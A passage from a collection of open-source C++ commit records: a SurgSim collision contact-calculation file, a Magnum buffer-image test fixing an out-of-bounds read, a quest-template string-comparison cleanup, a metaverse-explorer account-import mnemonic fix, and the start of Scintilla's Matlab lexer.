pair->getFirst()->getPosedShape();\n\n\tstd::shared_ptr<Math::Shape> shape2 = pair->getSecond()->getPosedShape();\n\n\tstd::list<std::shared_ptr<Contact>> contacts;\n\tif (pair->getType() == Collision::CollisionDetectionType::COLLISION_DETECTION_TYPE_DISCRETE)\n\t{\n\t\tMath::PosedShape<std::shared_ptr<Math::Shape>> posedShape1(shape1, pair->getFirst()->getPose());\n\t\tMath::PosedShape<std::shared_ptr<Math::Shape>> posedShape2(shape2, pair->getSecond()->getPose());\n\t\tcontacts = doCalculateDcdContact(posedShape1, posedShape2);\n\t}\n\telse if (pair->getType() == Collision::CollisionDetectionType::COLLISION_DETECTION_TYPE_CONTINUOUS)\n\t{\n\t\tcontacts = doCalculateCcdContact(\n\t\t\t\t\t   pair->getFirst()->getPosedShapeMotion(),\n\t\t\t\t\t   pair->getSecond()->getPosedShapeMotion());\n\t}\n\telse\n\t{\n\t\tSURGSIM_FAILURE() << \"Invalid collision detection type, neither discrete nor continuous\";\n\t}\n\n\tfor (auto& contact : contacts)\n\t{\n\t\tpair->addContact(contact);\n\t}\n}\n\nstd::list<std::shared_ptr<Contact>> ContactCalculation::doCalculateDcdContact(\n\t\t\t\t\t\t\t\t\t const Math::PosedShape<std::shared_ptr<Math::Shape>>& posedShape1,\n\t\t\t\t\t\t\t\t\t const Math::PosedShape<std::shared_ptr<Math::Shape>>& posedShape2)\n{\n\tSURGSIM_FAILURE() << \"Not implemented\";\n\treturn std::list<std::shared_ptr<Contact>>();\n}\n\nstd::list<std::shared_ptr<Contact>> ContactCalculation::doCalculateCcdContact(\n\t\t\t\t\t\t\t\t\t const Math::PosedShapeMotion<std::shared_ptr<Math::Shape>>& posedShapeMotion1,\n\t\t\t\t\t\t\t\t\t const Math::PosedShapeMotion<std::shared_ptr<Math::Shape>>& posedShapeMotion2)\n{\n\tSURGSIM_FAILURE() << \"Not implemented\";\n\treturn std::list<std::shared_ptr<Contact>>();\n}\n\nvoid ContactCalculation::initializeTables()\n{\n\t\/\/ Fill up both tables with default empty contact calculation\n\tfor (int i = 0; i < SurgSim::Math::SHAPE_TYPE_COUNT; ++i)\n\t{\n\t\tfor (int j = 0; j < SurgSim::Math::SHAPE_TYPE_COUNT; ++j)\n\t\t{\n\t\t\tm_contactDcdCalculations[i][j].reset(new Collision::DefaultContactCalculation(false));\n\t\t\tm_contactCcdCalculations[i][j].reset(new Collision::DefaultContactCalculation(false));\n\t\t}\n\t}\n\n\t\/\/ Fill up the Dcd contact calculation table\n\tContactCalculation::privateDcdRegister(std::make_shared<Collision::BoxCapsuleContact>());\n\tContactCalculation::privateDcdRegister(std::make_shared<Collision::BoxDoubleSidedPlaneContact>());\n\tContactCalculation::privateDcdRegister(std::make_shared<Collision::BoxPlaneContact>());\n\tContactCalculation::privateDcdRegister(std::make_shared<Collision::BoxSphereContact>());\n\tContactCalculation::privateDcdRegister(std::make_shared<Collision::CapsuleSphereContact>());\n\tContactCalculation::privateDcdRegister(std::make_shared<Collision::OctreeCapsuleContact>());\n\tContactCalculation::privateDcdRegister(std::make_shared<Collision::OctreeDoubleSidedPlaneContact>());\n\tContactCalculation::privateDcdRegister(std::make_shared<Collision::OctreePlaneContact>());\n\tContactCalculation::privateDcdRegister(std::make_shared<Collision::OctreeSphereContact>());\n\tContactCalculation::privateDcdRegister(std::make_shared<Collision::SegmentMeshTriangleMeshContact>());\n\tContactCalculation::privateDcdRegister(std::make_shared<Collision::SphereSphereContact>());\n\tContactCalculation::privateDcdRegister(std::make_shared<Collision::SphereDoubleSidedPlaneContact>());\n\tContactCalculation::privateDcdRegister(std::make_shared<Collision::SpherePlaneContact>());\n\tContactCalculation::privateDcdRegister(std::make_shared<Collision::TriangleMeshParticlesContact>());\n\tContactCalculation::privateDcdRegister(std::make_shared<Collision::TriangleMeshPlaneContact>());\n\tContactCalculation::privateDcdRegister(std::make_shared<Collision::TriangleMeshTriangleMeshContact>());\n\n\tconst std::array<int, Math::SHAPE_TYPE_COUNT> allshapes =\n\t{\n\t\tMath::SHAPE_TYPE_BOX,\n\t\tMath::SHAPE_TYPE_CAPSULE,\n\t\tMath::SHAPE_TYPE_CYLINDER,\n\t\tMath::SHAPE_TYPE_DOUBLESIDEDPLANE,\n\t\tMath::SHAPE_TYPE_MESH,\n\t\tMath::SHAPE_TYPE_OCTREE,\n\t\tMath::SHAPE_TYPE_PARTICLES,\n\t\tMath::SHAPE_TYPE_PLANE,\n\t\tMath::SHAPE_TYPE_SPHERE,\n\t\tMath::SHAPE_TYPE_SURFACEMESH,\n\t\tMath::SHAPE_TYPE_SEGMENTMESH,\n\t\tMath::SHAPE_TYPE_COMPOUNDSHAPE\n\t};\n\n\tfor (auto type : allshapes)\n\t{\n\t\tContactCalculation::privateDcdRegister(std::make_shared<Collision::CompoundShapeContact>(\n\t\t\t\tstd::make_pair(Math::SHAPE_TYPE_COMPOUNDSHAPE, type)));\n\t}\n\n\tContactCalculation::privateCcdRegister(std::make_shared<Collision::SegmentSelfContact>());\n\tContactCalculation::privateCcdRegister(std::make_shared<Collision::SegmentMeshTriangleMeshContact>());\n}\n\nvoid ContactCalculation::privateDcdRegister(\n\tconst std::shared_ptr<ContactCalculation>& calculation)\n{\n\tprivateDcdRegister(calculation, calculation->getShapeTypes());\n}\n\nvoid ContactCalculation::privateDcdRegister(\n\tconst std::shared_ptr<ContactCalculation>& calculation,\n\tconst std::pair<int, int>& types)\n{\n\tm_contactDcdCalculations[types.first][types.second] = calculation;\n\tm_contactDcdCalculations[types.second][types.first] = calculation;\n}\n\nvoid ContactCalculation::privateCcdRegister(\n\tconst std::shared_ptr<ContactCalculation>& calculation)\n{\n\tprivateCcdRegister(calculation, calculation->getShapeTypes());\n}\n\nvoid ContactCalculation::privateCcdRegister(\n\tconst std::shared_ptr<ContactCalculation>& calculation,\n\tconst std::pair<int, int>& types)\n{\n\tm_contactCcdCalculations[types.first][types.second] = calculation;\n\tm_contactCcdCalculations[types.second][types.first] = calculation;\n}\n\n}; \/\/ namespace Collision\n}; \/\/ namespace SurgSim\n<|endoftext|>"}
{"text":"<commit_before>\/*\n    This file is part of Magnum.\n\n    Copyright © 2010, 2011, 2012, 2013, 2014\n              Vladimír Vondruš <mosra@centrum.cz>\n\n    Permission is hereby granted, free of charge, to any person obtaining a\n    copy of this software and associated documentation files (the \"Software\"),\n    to deal in the Software without restriction, including without limitation\n    the rights to use, copy, modify, merge, publish, distribute, sublicense,\n    and\/or sell copies of the Software, and to permit persons to whom the\n    Software is furnished to do so, subject to the following conditions:\n\n    The above copyright notice and this permission notice shall be included\n    in all copies or substantial portions of the Software.\n\n    THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\n    THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n    FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\n    DEALINGS IN THE SOFTWARE.\n*\/\n\n#include <Corrade\/TestSuite\/Compare\/Container.h>\n\n#include \"Magnum\/BufferImage.h\"\n#include \"Magnum\/ColorFormat.h\"\n#include \"Magnum\/Test\/AbstractOpenGLTester.h\"\n\nnamespace Magnum { namespace Test {\n\nclass BufferImageTest: public AbstractOpenGLTester {\n    public:\n        explicit BufferImageTest();\n\n        void construct();\n        void constructCopy();\n        void constructMove();\n\n        void setData();\n};\n\nBufferImageTest::BufferImageTest() {\n    addTests({&BufferImageTest::construct,\n              &BufferImageTest::constructCopy,\n              &BufferImageTest::constructMove,\n\n              &BufferImageTest::setData});\n}\n\nvoid BufferImageTest::construct() {\n    const unsigned char data[] = { 'a', 0, 0, 0, 'b', 0, 0, 0, 'c', 0, 0, 0 };\n    BufferImage2D a(ColorFormat::Red, ColorType::UnsignedByte, {1, 3}, data, BufferUsage::StaticDraw);\n\n    #ifndef MAGNUM_TARGET_GLES\n    const auto imageData = a.buffer().data<UnsignedByte>();\n    #endif\n\n    MAGNUM_VERIFY_NO_ERROR();\n\n    CORRADE_COMPARE(a.format(), ColorFormat::Red);\n    CORRADE_COMPARE(a.type(), ColorType::UnsignedByte);\n    CORRADE_COMPARE(a.size(), Vector2i(1, 3));\n\n    \/** @todo How to verify the contents in ES? *\/\n    #ifndef MAGNUM_TARGET_GLES\n    CORRADE_COMPARE_AS(std::vector<UnsignedByte>(imageData.begin(), imageData.end()),\n                       std::vector<UnsignedByte>(data, data + 12),\n                       TestSuite::Compare::Container);\n    #endif\n}\n\nvoid BufferImageTest::constructCopy() {\n    CORRADE_VERIFY(!(std::is_constructible<BufferImage2D, const BufferImage2D&>{}));\n    CORRADE_VERIFY(!(std::is_assignable<BufferImage2D, const BufferImage2D&>{}));\n}\n\nvoid BufferImageTest::constructMove() {\n    const unsigned char data[3] = { 'a', 'b', 'c' };\n    BufferImage2D a(ColorFormat::Red, ColorType::UnsignedByte, {1, 3}, data, BufferUsage::StaticDraw);\n    const Int id = a.buffer().id();\n\n    MAGNUM_VERIFY_NO_ERROR();\n    CORRADE_VERIFY(id > 0);\n\n    BufferImage2D b(std::move(a));\n\n    CORRADE_COMPARE(a.buffer().id(), 0);\n    CORRADE_COMPARE(a.size(), Vector2i());\n\n    CORRADE_COMPARE(b.format(), ColorFormat::Red);\n    CORRADE_COMPARE(b.type(), ColorType::UnsignedByte);\n    CORRADE_COMPARE(b.size(), Vector2i(1, 3));\n    CORRADE_COMPARE(b.buffer().id(), id);\n\n    const unsigned short data2[2*4] = { 1, 2, 3, 4, 5, 6, 7, 8 };\n    BufferImage2D c(ColorFormat::RGBA, ColorType::UnsignedShort, {2, 1}, data2, BufferUsage::StaticDraw);\n    const Int cId = c.buffer().id();\n    c = std::move(b);\n\n    MAGNUM_VERIFY_NO_ERROR();\n\n    CORRADE_VERIFY(cId > 0);\n    CORRADE_COMPARE(b.buffer().id(), cId);\n    CORRADE_COMPARE(b.size(), Vector2i(2, 1));\n\n    CORRADE_COMPARE(c.format(), ColorFormat::Red);\n    CORRADE_COMPARE(c.type(), ColorType::UnsignedByte);\n    CORRADE_COMPARE(c.size(), Vector2i(1, 3));\n    CORRADE_COMPARE(c.buffer().id(), id);\n}\n\nvoid BufferImageTest::setData() {\n    const unsigned char data[3] = { 'a', 'b', 'c' };\n    BufferImage2D a(ColorFormat::Red, ColorType::UnsignedByte, {1, 3}, data, BufferUsage::StaticDraw);\n\n    const unsigned short data2[2*4] = { 1, 2, 3, 4, 5, 6, 7, 8 };\n    a.setData(ColorFormat::RGBA, ColorType::UnsignedShort, {2, 1}, data2, BufferUsage::StaticDraw);\n\n    #ifndef MAGNUM_TARGET_GLES\n    const auto imageData = a.buffer().data<UnsignedShort>();\n    #endif\n\n    MAGNUM_VERIFY_NO_ERROR();\n\n    CORRADE_COMPARE(a.format(), ColorFormat::RGBA);\n    CORRADE_COMPARE(a.type(), ColorType::UnsignedShort);\n    CORRADE_COMPARE(a.size(), Vector2i(2, 1));\n\n    \/** @todo How to verify the contents in ES? *\/\n    #ifndef MAGNUM_TARGET_GLES\n    CORRADE_COMPARE_AS(std::vector<UnsignedShort>(imageData.begin(), imageData.end()),\n                       std::vector<UnsignedShort>(data2, data2 + 8),\n                       TestSuite::Compare::Container);\n    #endif\n}\n\n}}\n\nCORRADE_TEST_MAIN(Magnum::Test::BufferImageTest)\n<commit_msg>Fixed OOB memory access in test.<commit_after>\/*\n    This file is part of Magnum.\n\n    Copyright © 2010, 2011, 2012, 2013, 2014\n              Vladimír Vondruš <mosra@centrum.cz>\n\n    Permission is hereby granted, free of charge, to any person obtaining a\n    copy of this software and associated documentation files (the \"Software\"),\n    to deal in the Software without restriction, including without limitation\n    the rights to use, copy, modify, merge, publish, distribute, sublicense,\n    and\/or sell copies of the Software, and to permit persons to whom the\n    Software is furnished to do so, subject to the following conditions:\n\n    The above copyright notice and this permission notice shall be included\n    in all copies or substantial portions of the Software.\n\n    THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\n    THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n    FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\n    DEALINGS IN THE SOFTWARE.\n*\/\n\n#include <Corrade\/TestSuite\/Compare\/Container.h>\n\n#include \"Magnum\/BufferImage.h\"\n#include \"Magnum\/ColorFormat.h\"\n#include \"Magnum\/Test\/AbstractOpenGLTester.h\"\n\nnamespace Magnum { namespace Test {\n\nclass BufferImageTest: public AbstractOpenGLTester {\n    public:\n        explicit BufferImageTest();\n\n        void construct();\n        void constructCopy();\n        void constructMove();\n\n        void setData();\n};\n\nBufferImageTest::BufferImageTest() {\n    addTests({&BufferImageTest::construct,\n              &BufferImageTest::constructCopy,\n              &BufferImageTest::constructMove,\n\n              &BufferImageTest::setData});\n}\n\nvoid BufferImageTest::construct() {\n    const unsigned char data[] = { 'a', 0, 0, 0, 'b', 0, 0, 0, 'c', 0, 0, 0 };\n    BufferImage2D a(ColorFormat::Red, ColorType::UnsignedByte, {1, 3}, data, BufferUsage::StaticDraw);\n\n    #ifndef MAGNUM_TARGET_GLES\n    const auto imageData = a.buffer().data<UnsignedByte>();\n    #endif\n\n    MAGNUM_VERIFY_NO_ERROR();\n\n    CORRADE_COMPARE(a.format(), ColorFormat::Red);\n    CORRADE_COMPARE(a.type(), ColorType::UnsignedByte);\n    CORRADE_COMPARE(a.size(), Vector2i(1, 3));\n\n    \/** @todo How to verify the contents in ES? *\/\n    #ifndef MAGNUM_TARGET_GLES\n    CORRADE_COMPARE_AS(std::vector<UnsignedByte>(imageData.begin(), imageData.end()),\n                       std::vector<UnsignedByte>(data, data + 12),\n                       TestSuite::Compare::Container);\n    #endif\n}\n\nvoid BufferImageTest::constructCopy() {\n    CORRADE_VERIFY(!(std::is_constructible<BufferImage2D, const BufferImage2D&>{}));\n    CORRADE_VERIFY(!(std::is_assignable<BufferImage2D, const BufferImage2D&>{}));\n}\n\nvoid BufferImageTest::constructMove() {\n    const unsigned char data[4] = { 'a', 'b', 'c', 'd' };\n    BufferImage2D a(ColorFormat::Red, ColorType::UnsignedByte, {4, 1}, data, BufferUsage::StaticDraw);\n    const Int id = a.buffer().id();\n\n    MAGNUM_VERIFY_NO_ERROR();\n    CORRADE_VERIFY(id > 0);\n\n    BufferImage2D b(std::move(a));\n\n    CORRADE_COMPARE(a.buffer().id(), 0);\n    CORRADE_COMPARE(a.size(), Vector2i());\n\n    CORRADE_COMPARE(b.format(), ColorFormat::Red);\n    CORRADE_COMPARE(b.type(), ColorType::UnsignedByte);\n    CORRADE_COMPARE(b.size(), Vector2i(4, 1));\n    CORRADE_COMPARE(b.buffer().id(), id);\n\n    const unsigned short data2[2*4] = { 1, 2, 3, 4, 5, 6, 7, 8 };\n    BufferImage2D c(ColorFormat::RGBA, ColorType::UnsignedShort, {1, 2}, data2, BufferUsage::StaticDraw);\n    const Int cId = c.buffer().id();\n    c = std::move(b);\n\n    MAGNUM_VERIFY_NO_ERROR();\n\n    CORRADE_VERIFY(cId > 0);\n    CORRADE_COMPARE(b.buffer().id(), cId);\n    CORRADE_COMPARE(b.size(), Vector2i(1, 2));\n\n    CORRADE_COMPARE(c.format(), ColorFormat::Red);\n    CORRADE_COMPARE(c.type(), ColorType::UnsignedByte);\n    CORRADE_COMPARE(c.size(), Vector2i(4, 1));\n    CORRADE_COMPARE(c.buffer().id(), id);\n}\n\nvoid BufferImageTest::setData() {\n    const unsigned char data[4] = { 'a', 'b', 'c', 'd' };\n    BufferImage2D a(ColorFormat::Red, ColorType::UnsignedByte, {4, 1}, data, BufferUsage::StaticDraw);\n\n    const unsigned short data2[2*4] = { 1, 2, 3, 4, 5, 6, 7, 8 };\n    a.setData(ColorFormat::RGBA, ColorType::UnsignedShort, {1, 2}, data2, BufferUsage::StaticDraw);\n\n    #ifndef MAGNUM_TARGET_GLES\n    const auto imageData = a.buffer().data<UnsignedShort>();\n    #endif\n\n    MAGNUM_VERIFY_NO_ERROR();\n\n    CORRADE_COMPARE(a.format(), ColorFormat::RGBA);\n    CORRADE_COMPARE(a.type(), ColorType::UnsignedShort);\n    CORRADE_COMPARE(a.size(), Vector2i(1, 2));\n\n    \/** @todo How to verify the contents in ES? *\/\n    #ifndef MAGNUM_TARGET_GLES\n    CORRADE_COMPARE_AS(std::vector<UnsignedShort>(imageData.begin(), imageData.end()),\n                       std::vector<UnsignedShort>(data2, data2 + 8),\n                       TestSuite::Compare::Container);\n    #endif\n}\n\n}}\n\nCORRADE_TEST_MAIN(Magnum::Test::BufferImageTest)\n<|endoftext|>"}
{"text":"<commit_before>\/\/\n\/\/ Created by michael on 14.08.15.\n\/\/\n\n#include \"ExploreRegionTemplate.h\"\n#include \"..\/..\/World\/Space\/SpaceWorldModel.h\"\n\nusing namespace std;\nusing namespace weave;\n\nExploreRegionTemplate::ExploreRegionTemplate(string title,\n                                             vector<TemplateQuestProperty> properties,\n                                             vector<TemplateQuestDescription> descriptions)\n        : Template(title, properties, descriptions) {\n}\n\nvector<ModelAction> ExploreRegionTemplate::GetPropertyCandidates(const TemplateQuestProperty &property,\n                                                                 const WorldModel &worldModel) const {\n    vector<ModelAction> properties;\n    const SpaceWorldModel &spaceModel = (const SpaceWorldModel &) worldModel;\n    std::shared_ptr<WorldEntity> entity;\n    if (property.GetName().compare(\"location\") == 0) {\n        entity = spaceModel.CreateLocation();\n    } else if (property.GetName().compare(\"sponsor\") == 0) {\n        entity = spaceModel.CreateAgent();\n    }\n    ModelAction modelAction(ActionType::CREATE, entity);\n    properties.push_back(std::move(modelAction));\n    return properties;\n}\n\nQuest ExploreRegionTemplate::ToQuest(const vector<QuestPropertyValue> &questPropertyValues) const {\n    const string &description = getBestFittingDescription(questPropertyValues);\n    const string &title = getTitle(questPropertyValues);\n    return Quest(Proposed, title, description);\n}\n<commit_msg>Better string comparison<commit_after>\/\/\n\/\/ Created by michael on 14.08.15.\n\/\/\n\n#include \"ExploreRegionTemplate.h\"\n#include \"..\/..\/World\/Space\/SpaceWorldModel.h\"\n\nusing namespace std;\nusing namespace weave;\n\nExploreRegionTemplate::ExploreRegionTemplate(string title,\n                                             vector<TemplateQuestProperty> properties,\n                                             vector<TemplateQuestDescription> descriptions)\n        : Template(title, properties, descriptions) {\n}\n\nvector<ModelAction> ExploreRegionTemplate::GetPropertyCandidates(const TemplateQuestProperty &property,\n                                                                 const WorldModel &worldModel) const {\n    vector<ModelAction> properties;\n    const SpaceWorldModel &spaceModel = (const SpaceWorldModel &) worldModel;\n    std::shared_ptr<WorldEntity> entity;\n    if (property.GetName() == \"location\") {\n        entity = spaceModel.CreateLocation();\n    } else if (property.GetName() == \"sponsor\") {\n        entity = spaceModel.CreateAgent();\n    }\n    ModelAction modelAction(ActionType::CREATE, entity);\n    properties.push_back(std::move(modelAction));\n    return properties;\n}\n\nQuest ExploreRegionTemplate::ToQuest(const vector<QuestPropertyValue> &questPropertyValues) const {\n    const string &description = getBestFittingDescription(questPropertyValues);\n    const string &title = getTitle(questPropertyValues);\n    return Quest(Proposed, title, description);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/**\n * Copyright (c) 2016-2017 mvs developers \n *\n * This file is part of metaverse-explorer.\n *\n * metaverse-explorer is free software: you can redistribute it and\/or\n * modify it under the terms of the GNU Affero General Public License with\n * additional permissions to the one published by the Free Software\n * Foundation, either version 3 of the License, or (at your option)\n * any later version. For more information see LICENSE.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#include <metaverse\/explorer\/json_helper.hpp>\n#include <metaverse\/explorer\/dispatch.hpp>\n#include <metaverse\/explorer\/extensions\/commands\/importaccount.hpp>\n#include <metaverse\/explorer\/extensions\/command_extension_func.hpp>\n#include <metaverse\/explorer\/extensions\/command_assistant.hpp>\n#include <metaverse\/explorer\/extensions\/exception.hpp> \n#include <metaverse\/explorer\/commands\/offline_commands_impl.hpp> \n\nnamespace libbitcoin {\nnamespace explorer {\nnamespace commands {\nusing namespace bc::explorer::config;\n\nconsole_result importaccount::invoke (Json::Value& jv_output,\n         libbitcoin::server::server_node& node)\n{\n    \n    \/\/ parameter account name check\n    auto& blockchain = node.chain_impl();\n    if (blockchain.is_account_exist(auth_.name))\n     throw account_existed_exception{\"account already exist\"};\n\n#ifdef NDEBUG\n\tif (auth_.name.length() > 128 || auth_.name.length() < 3 ||\n\t    option_.passwd.length() > 128 || option_.passwd.length() < 6)\n\t    throw argument_exceed_limit_exception{\"name length in [3, 128], password length in [6, 128]\"};\n#endif\n\n    \/\/ are vliad mnemonic words.\n    auto&& seed = get_mnemonic_to_seed(option_.language, argument_.words);\n    \/\/ is vliad seed.\n    auto&& hd_pri_key = get_hd_new(seed);\n\n    auto&& mnemonic = bc::join(argument_.words);\n\n    \/\/ create account\n    auto acc = std::make_shared<bc::chain::account>();\n    acc->set_name(auth_.name);\n    acc->set_passwd(option_.passwd);\n    acc->set_mnemonic(mnemonic, option_.passwd);\n    \/\/acc->set_hd_index(option_.hd_index); \/\/ hd_index updated in getnewaddress\n    \n    \/\/ flush to db\n    blockchain.store_account(acc);\n\n    \/\/ generate all account address\n    auto& root = jv_output;\n    root[\"name\"] = auth_.name;\n    root[\"mnemonic\"] = mnemonic;\n    if (get_api_version() == 1) {\n        root[\"hd_index\"] += option_.hd_index;\n    } else {\n        root[\"hd_index\"] = option_.hd_index;\n    }\n    \n    uint32_t idx = 0;\n    auto&& str_idx = std::to_string(option_.hd_index);\n    const char* cmds2[]{\"getnewaddress\", auth_.name.c_str(), option_.passwd.c_str(), \"-n\", str_idx.c_str()};\n    Json::Value addresses;\n    \n    if (dispatch_command(5, cmds2, addresses, node, 2) != console_result::okay) {\n        throw address_generate_exception{\"getnewaddress got exception.\"};\n    }\n\n    root[\"addresses\"] = addresses[\"addresses\"];\n    \n    return console_result::okay;\n}\n\n} \/\/ namespace commands\n} \/\/ namespace explorer\n} \/\/ namespace libbitcoin\n\n<commit_msg>fix importaccount rpc call mnemonic parse error<commit_after>\/**\n * Copyright (c) 2016-2017 mvs developers \n *\n * This file is part of metaverse-explorer.\n *\n * metaverse-explorer is free software: you can redistribute it and\/or\n * modify it under the terms of the GNU Affero General Public License with\n * additional permissions to the one published by the Free Software\n * Foundation, either version 3 of the License, or (at your option)\n * any later version. For more information see LICENSE.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#include <boost\/algorithm\/string.hpp>\n#include <metaverse\/explorer\/json_helper.hpp>\n#include <metaverse\/explorer\/dispatch.hpp>\n#include <metaverse\/explorer\/extensions\/commands\/importaccount.hpp>\n#include <metaverse\/explorer\/extensions\/command_extension_func.hpp>\n#include <metaverse\/explorer\/extensions\/command_assistant.hpp>\n#include <metaverse\/explorer\/extensions\/exception.hpp> \n#include <metaverse\/explorer\/commands\/offline_commands_impl.hpp> \n\nnamespace libbitcoin {\nnamespace explorer {\nnamespace commands {\nusing namespace bc::explorer::config;\n\nconsole_result importaccount::invoke (Json::Value& jv_output,\n         libbitcoin::server::server_node& node)\n{\n    \n    \/\/ parameter account name check\n    auto& blockchain = node.chain_impl();\n    if (blockchain.is_account_exist(auth_.name))\n     throw account_existed_exception{\"account already exist\"};\n\n#ifdef NDEBUG\n\tif (auth_.name.length() > 128 || auth_.name.length() < 3 ||\n\t    option_.passwd.length() > 128 || option_.passwd.length() < 6)\n\t    throw argument_exceed_limit_exception{\"name length in [3, 128], password length in [6, 128]\"};\n#endif\n\n    if (argument_.words.size() == 1)\n    {\n        boost::split(argument_.words, argument_.words[0], boost::is_any_of(\" \"));\n    }\n\n    \/\/ are vliad mnemonic words.\n    auto&& seed = get_mnemonic_to_seed(option_.language, argument_.words);\n    \/\/ is vliad seed.\n    auto&& hd_pri_key = get_hd_new(seed);\n\n    auto&& mnemonic = bc::join(argument_.words);\n\n    \/\/ create account\n    auto acc = std::make_shared<bc::chain::account>();\n    acc->set_name(auth_.name);\n    acc->set_passwd(option_.passwd);\n    acc->set_mnemonic(mnemonic, option_.passwd);\n    \/\/acc->set_hd_index(option_.hd_index); \/\/ hd_index updated in getnewaddress\n    \n    \/\/ flush to db\n    blockchain.store_account(acc);\n\n    \/\/ generate all account address\n    auto& root = jv_output;\n    root[\"name\"] = auth_.name;\n    root[\"mnemonic\"] = mnemonic;\n    if (get_api_version() == 1) {\n        root[\"hd_index\"] += option_.hd_index;\n    } else {\n        root[\"hd_index\"] = option_.hd_index;\n    }\n    \n    uint32_t idx = 0;\n    auto&& str_idx = std::to_string(option_.hd_index);\n    const char* cmds2[]{\"getnewaddress\", auth_.name.c_str(), option_.passwd.c_str(), \"-n\", str_idx.c_str()};\n    Json::Value addresses;\n    \n    if (dispatch_command(5, cmds2, addresses, node, 2) != console_result::okay) {\n        throw address_generate_exception{\"getnewaddress got exception.\"};\n    }\n\n    root[\"addresses\"] = addresses[\"addresses\"];\n    \n    return console_result::okay;\n}\n\n} \/\/ namespace commands\n} \/\/ namespace explorer\n} \/\/ namespace libbitcoin\n\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Scintilla source code edit control\n\/** @file LexMatlab.cxx\n ** Lexer for Matlab.\n ** Written by Jos Fonseca\n **\n ** Changes by Christoph Dalitz 2003\/12\/04:\n **   - added support for Octave\n **   - Strings can now be included both in single or double quotes\n **\n ** Changes by John Donoghue 2012\/04\/02\n **   - added block comment (and nested block comments)\n **   - added ... displayed as a comment\n **   - removed unused IsAWord functions\n **   - added some comments\n **\/\n\/\/ Copyright 1998-2001 by Neil Hodgson <neilh@scintilla.org>\n\/\/ The License.txt file describes the conditions under which this software may be distributed.\n\n#include <stdlib.h>\n#include <string.h>\n#include <stdio.h>\n#include <stdarg.h>\n#include <assert.h>\n#include <ctype.h>\n\n#include \"ILexer.h\"\n#include \"Scintilla.h\"\n#include \"SciLexer.h\"\n\n#include \"WordList.h\"\n#include \"LexAccessor.h\"\n#include \"Accessor.h\"\n#include \"StyleContext.h\"\n#include \"CharacterSet.h\"\n#include \"LexerModule.h\"\n\n#ifdef SCI_NAMESPACE\nusing namespace Scintilla;\n#endif\n\nstatic bool IsMatlabCommentChar(int c) {\n\treturn (c == '%') ;\n}\n\nstatic bool IsOctaveCommentChar(int c) {\n\treturn (c == '%' || c == '#') ;\n}\n\nstatic bool IsMatlabComment(Accessor &styler, int pos, int len) {\n\treturn len > 0 && IsMatlabCommentChar(styler[pos]) ;\n}\n\nstatic bool IsOctaveComment(Accessor &styler, int pos, int len) {\n\treturn len > 0 && IsOctaveCommentChar(styler[pos]) ;\n}\n\nstatic void ColouriseMatlabOctaveDoc(\n            unsigned int startPos, int length, int initStyle,\n            WordList *keywordlists[], Accessor &styler,\n            bool (*IsCommentChar)(int),\n            bool ismatlab) {\n\n\tWordList &keywords = *keywordlists[0];\n\n\tstyler.StartAt(startPos);\n\n\t\/\/ boolean for when the ' is allowed to be transpose vs the start\/end \n\t\/\/ of a string\n\tbool transpose = false;\n\n\t\/\/ approximate position of first non space character in a line\n\tint nonSpaceColumn = -1;\n\t\/\/ approximate column position of the current character in a line\n\tint column = 0;\n\n        \/\/ use the line state of each line to store the block comment depth\n\tint curLine = styler.GetLine(startPos);\n        int commentDepth = curLine > 0 ? styler.GetLineState(curLine-1) : 0;\n\n\n\tStyleContext sc(startPos, length, initStyle, styler);\n\n\tfor (; sc.More(); sc.Forward(), column++) {\n\n               \tif(sc.atLineStart) {\n\t\t\t\/\/ set the line state to the current commentDepth \n\t\t\tcurLine = styler.GetLine(sc.currentPos);\n                        styler.SetLineState(curLine, commentDepth);\n\n\t\t\t\/\/ reset the column to 0, nonSpace to -1 (not set)\n\t\t\tcolumn = 0;\n\t\t\tnonSpaceColumn = -1; \n\t\t}\n\n\t\t\/\/ save the column position of first non space character in a line\n\t\tif((nonSpaceColumn == -1) && (! IsASpace(sc.ch)))\n\t\t{\n\t\t\tnonSpaceColumn = column;\n\t\t}\n\n\t\t\/\/ check for end of states\n\t\tif (sc.state == SCE_MATLAB_OPERATOR) {\n\t\t\tif (sc.chPrev == '.') {\n\t\t\t\tif (sc.ch == '*' || sc.ch == '\/' || sc.ch == '\\\\' || sc.ch == '^') {\n\t\t\t\t\tsc.ForwardSetState(SCE_MATLAB_DEFAULT);\n\t\t\t\t\ttranspose = false;\n\t\t\t\t} else if (sc.ch == '\\'') {\n\t\t\t\t\tsc.ForwardSetState(SCE_MATLAB_DEFAULT);\n\t\t\t\t\ttranspose = true;\n                                } else if(sc.ch == '.' && sc.chNext == '.') {\n                                        \/\/ we werent 